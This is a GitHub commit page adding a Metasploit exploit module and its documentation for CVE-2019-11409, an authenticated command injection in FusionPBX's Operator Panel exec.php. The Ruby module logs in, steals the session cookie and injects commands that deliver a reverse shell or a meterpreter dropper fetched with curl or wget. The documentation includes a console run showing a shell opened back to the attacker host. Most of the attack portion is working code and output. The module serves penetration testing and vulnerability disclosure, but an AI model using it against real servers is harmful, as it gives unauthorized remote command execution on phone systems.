-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Add FusionPBX Operator Panel exec.php Command Execution
- Loading branch information
1 parent
90448aa
commit 5091913
Showing
2 changed files
with
271 additions
and
0 deletions.
There are no files selected for viewing
107 changes: 107 additions & 0 deletions
107
...mentation/modules/exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,107 @@ | ||
## Description | ||
|
||
This module exploits an authenticated command injection vulnerability | ||
in FusionPBX versions 4.4.3 and prior. | ||
|
||
The `exec.php` file within the Operator Panel permits users with | ||
`operator_panel_view` permissions, or administrator permissions, | ||
to execute arbitrary commands as the web server user by sending | ||
a `system` command to the FreeSWITCH event socket interface. | ||
|
||
|
||
## Vulnerable Software | ||
|
||
This module has been tested successfully on FusionPBX version | ||
4.4.1 on Ubuntu 19.04 (x64). | ||
|
||
Software: | ||
|
||
* https://www.fusionpbx.com/download | ||
* https://github.com/fusionpbx/fusionpbx/releases | ||
|
||
At time of writing, a vulnerable version can be tested by using | ||
the relevant install script for the target platform from the download | ||
link above, which automatically installs all required dependencies, | ||
including FreeSWITCH and the latest version of FusionPBX. | ||
|
||
The version of FusionPBX can then be downgraded to a vulnerable version | ||
by replacing the web root directory with the contents of a vulnerable | ||
version, such as version 4.4.1, from the GitHub releases link above. | ||
|
||
On Ubuntu, downgrading can be performed as follows: | ||
|
||
``` | ||
mv /var/www/fusionpbx /var/www/fusionpbx-latest | ||
mkdir ~/hackyhackhack/ && cd ~/hackyhackhack/ | ||
wget https://github.com/fusionpbx/fusionpbx/archive/4.4.1.zip | ||
unzip 4.4.1.zip | ||
mv fusionpbx-4.4.1 /var/www/fusionpbx | ||
``` | ||
|
||
In the future, downgrading may not be as simple as replacing the web | ||
root directory contents. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Do: `use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec` | ||
3. Do: `set rhosts <IP>` | ||
4. Do: `set username <username>` | ||
5. Do: `set password <password>` | ||
6. Do: `run` | ||
7. You should get a new session | ||
|
||
|
||
## Options | ||
|
||
**TARGETURI** | ||
|
||
The base path to FusionPBX (default: `/`) | ||
|
||
**USERNAME** | ||
|
||
The username for FusionPBX | ||
|
||
**PASSWORD** | ||
|
||
The password for FusionPBX | ||
|
||
|
||
## Scenarios | ||
|
||
``` | ||
msf5 > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec | ||
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214 | ||
rhosts => 172.16.191.214 | ||
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test | ||
username => test | ||
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46! | ||
password => wBXxcY4LTAsMd46! | ||
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165 | ||
lhost => 172.16.191.165 | ||
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run | ||
[*] Started reverse TCP double handler on 172.16.191.165:4444 | ||
[+] Authenticated as user 'test' | ||
[*] Sending payload (295 bytes) ... | ||
[*] Accepted the first client connection... | ||
[*] Accepted the second client connection... | ||
[*] Command: echo ULzaVUoa3XPSZANH; | ||
[*] Writing to socket A | ||
[*] Writing to socket B | ||
[*] Reading from sockets... | ||
[*] Reading from socket A | ||
[*] A: "ULzaVUoa3XPSZANH\r\n" | ||
[*] Matching... | ||
[*] B is input... | ||
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.214:57626) at 2019-11-01 15:54:42 -0400 | ||
id | ||
uid=33(www-data) gid=33(www-data) groups=33(www-data) | ||
pwd | ||
/ | ||
uname -a | ||
Linux ubuntu-19-04-x64 5.0.0-32-generic #34-Ubuntu SMP Wed Oct 2 02:06:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux | ||
``` | ||
|
164 changes: 164 additions & 0 deletions
164
modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,164 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'FusionPBX Operator Panel exec.php Command Execution', | ||
'Description' => %q{ | ||
This module exploits an authenticated command injection vulnerability | ||
in FusionPBX versions 4.4.3 and prior. | ||
The `exec.php` file within the Operator Panel permits users with | ||
`operator_panel_view` permissions, or administrator permissions, | ||
to execute arbitrary commands as the web server user by sending | ||
a `system` command to the FreeSWITCH event socket interface. | ||
This module has been tested successfully on FusionPBX version | ||
4.4.1 on Ubuntu 19.04 (x64). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Dustin Cobb', # Discovery and exploit | ||
'bcoles' # Metasploit | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2019-11409'], | ||
['EDB', '46985'], | ||
['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'], | ||
['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611'] | ||
], | ||
'Platform' => %w[unix linux], | ||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, | ||
'CmdStagerFlavor' => %w[curl wget], | ||
'Targets' => | ||
[ | ||
['Automatic (Unix In-Memory)', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, | ||
'Type' => :unix_memory | ||
], | ||
['Automatic (Linux Dropper)', | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, | ||
'Type' => :linux_dropper | ||
] | ||
], | ||
'Privileged' => false, | ||
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, | ||
'DisclosureDate' => '2019-06-06', | ||
'DefaultTarget' => 0)) | ||
register_options [ | ||
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), | ||
OptString.new('USERNAME', [true, 'The username for FusionPBX']), | ||
OptString.new('PASSWORD', [true, 'The password for FusionPBX']) | ||
] | ||
end | ||
|
||
def login(user, pass) | ||
vprint_status "Authenticating as user '#{user}'" | ||
|
||
vars_post = { | ||
username: user, | ||
password: pass, | ||
path: '' | ||
} | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), | ||
'vars_post' => vars_post | ||
}) | ||
|
||
unless res | ||
fail_with Failure::Unreachable, 'Connection failed' | ||
end | ||
|
||
if res.code == 302 && res.headers['location'].include?('login.php') | ||
fail_with Failure::NoAccess, "Login failed for user '#{user}'" | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" | ||
end | ||
|
||
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first | ||
|
||
unless cookie | ||
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' | ||
end | ||
|
||
print_good "Authenticated as user '#{user}'" | ||
|
||
cookie | ||
end | ||
|
||
def check | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path) | ||
}) | ||
|
||
unless res | ||
vprint_error 'Connection failed' | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.body.include?('FusionPBX') | ||
return CheckCode::Detected | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'), | ||
'cookie' => "PHPSESSID=#{@cookie}", | ||
'vars_get' => {'cmd' => "bg_system #{cmd}"} | ||
}, 5) | ||
|
||
unless res | ||
return if session_created? | ||
fail_with Failure::Unreachable, 'Connection failed' | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" | ||
end | ||
|
||
if res.body.include? 'access denied' | ||
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel" | ||
end | ||
|
||
res | ||
end | ||
|
||
def exploit | ||
unless check == CheckCode::Detected | ||
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" | ||
end | ||
|
||
@cookie = login(datastore['USERNAME'], datastore['PASSWORD']) | ||
|
||
print_status "Sending payload (#{payload.encoded.length} bytes) ..." | ||
|
||
case target['Type'] | ||
when :unix_memory | ||
execute_command(payload.encoded) | ||
when :linux_dropper | ||
execute_cmdstager(:linemax => 1_500) | ||
end | ||
end | ||
end |